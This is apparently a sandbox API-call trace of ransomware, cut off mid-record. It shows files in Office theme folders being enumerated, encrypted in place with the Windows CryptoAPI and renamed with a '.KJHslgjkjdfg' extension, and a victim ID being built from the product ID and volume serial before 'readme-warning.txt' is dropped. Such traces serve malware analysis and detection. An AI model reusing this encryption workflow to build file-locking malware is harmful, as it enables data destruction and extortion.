WriteFile (in: hFile=0x118, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x230, lpOverlapped=0x0) returned 1 [0171.139] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.139] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x304, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.139] SetEndOfFile (hFile=0x118) returned 1 [0171.142] GetProcessHeap () returned 0x990000 [0171.142] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0171.142] GetProcessHeap () returned 0x990000 [0171.142] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0171.142] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.inf.kjhslgjkjdfg")) returned 1 [0171.148] CloseHandle (hObject=0x118) returned 1 [0171.148] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85b50300, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x85b50300, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x621, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0171.148] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0171.149] GetProcessHeap () returned 0x990000 [0171.149] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0171.149] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0171.149] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0171.149] WriteFile (in: hFile=0x118, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xf, lpOverlapped=0x0) returned 1 [0171.151] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.151] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.151] GetProcessHeap () returned 0x990000 [0171.151] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0171.151] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0171.151] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.151] WriteFile (in: hFile=0x118, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0171.151] WriteFile (in: hFile=0x118, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0171.151] WriteFile (in: hFile=0x118, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0171.151] WriteFile (in: hFile=0x118, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0171.152] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0171.152] WriteFile (in: hFile=0x118, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0171.152] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.152] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.152] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.152] ReadFile (in: hFile=0x118, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x621, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x621, lpOverlapped=0x0) returned 1 [0171.152] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x630, dwBufLen=0x630 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x630) returned 1 [0171.152] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.152] WriteFile (in: hFile=0x118, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x630, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x630, lpOverlapped=0x0) returned 1 [0171.152] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.152] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x704, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.152] SetEndOfFile (hFile=0x118) returned 1 [0171.153] GetProcessHeap () returned 0x990000 [0171.153] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0171.153] GetProcessHeap () returned 0x990000 [0171.153] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0171.153] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif.kjhslgjkjdfg")) returned 1 [0171.154] CloseHandle (hObject=0x118) returned 1 [0171.154] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e63000, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86e63000, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x6292, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0171.154] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0171.156] GetProcessHeap () returned 0x990000 [0171.156] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0171.156] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0171.156] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0171.156] WriteFile (in: hFile=0x118, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xe, lpOverlapped=0x0) returned 1 [0171.158] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.158] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.158] GetProcessHeap () returned 0x990000 [0171.158] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0171.158] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0171.158] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.158] WriteFile (in: hFile=0x118, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0171.158] WriteFile (in: hFile=0x118, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0171.158] WriteFile (in: hFile=0x118, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0171.158] WriteFile (in: hFile=0x118, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0171.158] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0171.159] WriteFile (in: hFile=0x118, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0171.159] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.159] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.159] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.159] ReadFile (in: hFile=0x118, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x6292, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x6292, lpOverlapped=0x0) returned 1 [0171.161] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x62a0, dwBufLen=0x62a0 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x62a0) returned 1 [0171.161] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.161] WriteFile (in: hFile=0x118, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x62a0, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x62a0, lpOverlapped=0x0) returned 1 [0171.161] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.161] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x6374, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.161] SetEndOfFile (hFile=0x118) returned 1 [0171.164] GetProcessHeap () returned 0x990000 [0171.164] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0171.164] GetProcessHeap () returned 0x990000 [0171.164] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0171.164] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0171.168] CloseHandle (hObject=0x118) returned 1 [0171.168] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e63000, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86e63000, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x6292, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0171.168] GetProcessHeap () returned 0x990000 [0171.168] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0171.168] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0171.168] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29dee20 | out: pbData=0x9af7b0, pdwDataLen=0x29dee20) returned 1 [0171.168] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.168] GetProcessHeap () returned 0x990000 [0171.168] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0171.168] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0171.168] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29dee20 | out: pbData=0x9af7f8, pdwDataLen=0x29dee20) returned 1 [0171.169] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.169] GetProcessHeap () returned 0x990000 [0171.169] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9b78c0 [0171.169] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0171.169] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b78c0, pdwDataLen=0x29dee20 | out: pbData=0x9b78c0, pdwDataLen=0x29dee20) returned 1 [0171.169] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.169] GetProcessHeap () returned 0x990000 [0171.169] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0171.169] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0171.169] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29dea00 | out: pbData=0x9af840, pdwDataLen=0x29dea00) returned 1 [0171.169] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.169] GetProcessHeap () returned 0x990000 [0171.169] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0171.169] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0171.169] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29dea00 | out: pbData=0x9b18c8, pdwDataLen=0x29dea00) returned 1 [0171.169] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.169] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29de9fc | out: phkResult=0x29de9fc*=0x118) returned 0x0 [0171.169] RegQueryValueExA (in: hKey=0x118, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29dea08, lpcbData=0x29dea04*=0x400 | out: lpType=0x0, lpData=0x29dea08*=0x30, lpcbData=0x29dea04*=0x18) returned 0x0 [0171.169] RegCloseKey (hKey=0x118) returned 0x0 [0171.169] GetProcessHeap () returned 0x990000 [0171.169] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0171.169] GetProcessHeap () returned 0x990000 [0171.170] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0171.170] GetProcessHeap () returned 0x990000 [0171.170] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0171.170] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0171.170] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de7d4 | out: pbData=0x9b18c8, pdwDataLen=0x29de7d4) returned 1 [0171.170] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.170] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29de7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0171.170] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29de7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29de7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0171.170] GetProcessHeap () returned 0x990000 [0171.170] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0171.170] wsprintfA (in: param_1=0x29dea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0171.170] wsprintfA (in: param_1=0x29dee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0171.170] GetProcessHeap () returned 0x990000 [0171.170] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b7c88 [0171.170] wsprintfW (in: param_1=0x29dddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\readme-warning.txt") returned 83 [0171.171] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0171.171] WriteFile (in: hFile=0x118, lpBuffer=0x9b7c88*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29dddf8, lpOverlapped=0x0 | out: lpBuffer=0x9b7c88*, lpNumberOfBytesWritten=0x29dddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0171.172] CloseHandle (hObject=0x118) returned 1 [0171.172] GetProcessHeap () returned 0x990000 [0171.172] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0171.172] GetProcessHeap () returned 0x990000 [0171.173] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b7c88 | out: hHeap=0x990000) returned 1 [0171.173] GetProcessHeap () returned 0x990000 [0171.173] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0171.173] GetProcessHeap () returned 0x990000 [0171.173] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0171.173] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0171.173] GetProcessHeap () returned 0x990000 [0171.173] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9f99f0 | out: hHeap=0x990000) returned 1 [0171.173] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ARCTIC", cAlternateFileName="")) returned 1 [0171.173] GetProcessHeap () returned 0x990000 [0171.173] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8e) returned 0x9b2468 [0171.173] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0171.176] GetProcessHeap () returned 0x990000 [0171.176] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0171.176] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0171.176] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc081900, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5146e3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdc081900, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x10fc7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ARCTIC.ELM", cAlternateFileName="")) returned 1 [0171.176] GetProcessHeap () returned 0x990000 [0171.176] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x290) returned 0x9b1eb0 [0171.177] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0171.179] GetProcessHeap () returned 0x990000 [0171.179] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0171.179] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0171.179] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0171.179] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x9, lpOverlapped=0x0) returned 1 [0171.181] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.181] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.181] GetProcessHeap () returned 0x990000 [0171.181] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0171.181] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30) returned 1 [0171.181] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.181] WriteFile (in: hFile=0x12c, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29defe8*=0x30, lpOverlapped=0x0) returned 1 [0171.181] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, 